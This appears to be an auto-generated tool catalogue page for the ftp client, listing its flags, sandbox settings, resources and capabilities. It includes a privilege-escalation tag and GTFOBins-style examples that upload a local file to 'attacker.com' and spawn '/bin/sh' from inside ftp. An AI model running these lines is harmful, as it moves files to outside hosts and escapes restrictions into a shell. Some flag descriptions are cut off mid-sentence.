network enabled community medium v1.0.0

ftp

File Transfer Protocol client; can transfer files and spawn shells Can also download files, spawn an interactive shell, upload files.

📋 Live Preview

ftp

ftp

Sandbox: execFile · Timeout: 30s

Capabilities

network.transfer.download

security.privilege-escalation.shell

network.transfer.upload

Parameters

Name	Type	Required	Default	Description	Aliases
`flag-4`	string	No	-	Forces tnftp to only use IPv4 addresses	`-4`
`flag-6`	string	No	-	Forces tnftp to only use IPv6 addresses	`-6`
`flag-a`	string	No	-	Causes tnftp to bypass normal login procedure, and use an	`-a`
`flag-b`	string	No	-	to bufsize bytes. The default bufsize is 16384 (16 KiB)	`-b`
`flag-d`	string	No	-	Enables debugging	`-d`
`flag-e`	string	No	-	Disables command line editing. This is useful for Emacs	`-e`
`flag-f`	string	No	-	Forces a cache reload for transfers that go through the FTP	`-f`
`flag-g`	string	No	-	Disables file name globbing	`-g`
`flag-H`	url	No	-	Include the provided header string as a custom HTTP header	`-H`
`flag-i`	string	No	-	Turns off interactive prompting during multiple file trans-	`-i`
`flag-N`	string	No	-	Use netrc instead of ~/.netrc. Refer to "THE .netrc FILE"	`-N`
`flag-n`	string	No	-	Restrains tnftp from attempting "auto-login" upon initial	`-n`
`flag-o`	string	No	-	When auto-fetching files, save the contents in output	`-o`
`flag-P`	integer	No	-	Sets the port number to port	`-P`
`flag-p`	string	No	-	Enable passive mode operation for use behind connection fil-	`-p`
`flag-q`	number	No	-	Quit if the connection has stalled for quittime seconds	`-q`
`flag-r`	string	No	-	Retry the connection attempt if it failed, pausing for retry	`-r`
`flag-s`	string	No	-		`-s`
`flag-t`	string	No	-	Enables packet tracing	`-t`
`flag-T`	number	No	-	Set the maximum transfer rate for direction to maximum bytes/second, and if specified, the increment to increment bytes/second. Refer to rate for more information	`-T`
`flag-u`	url	No	-	Upload files on the command line to url where url is one of the `ftp://' URL types as supported by auto-fetch (with an optional target filename for single file uploads), and file is one or more local files to be uploaded	`-u`
`flag-v`	string	No	-	Enable verbose and progress. This is the default if output	`-v`
`flag-x`	string	No	-	Set the size of the socket send and receive buffers to xfersize bytes. Refer to xferbuf for more information	`-x`
`flag-?`	string	No	-	Display help to stdout, and exit	`-?`

Contract

Outputs

process.output

Command execution output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

Resource	Value
CPU	low
Memory	16 MB
Network	none
Disk I/O	low

Examples

Download files

ftp -a attacker.com
get /path/to/input-file output-file

Spawn an interactive shell

ftp
!/bin/sh

Upload files

ftp -a attacker.com
put /path/to/input-file output-file

Documentation

ftp

ftp is a command-line utility. File Transfer Protocol client; can transfer files and spawn shells Can also download files, spawn an interactive shell, upload files.

References

GTFOBins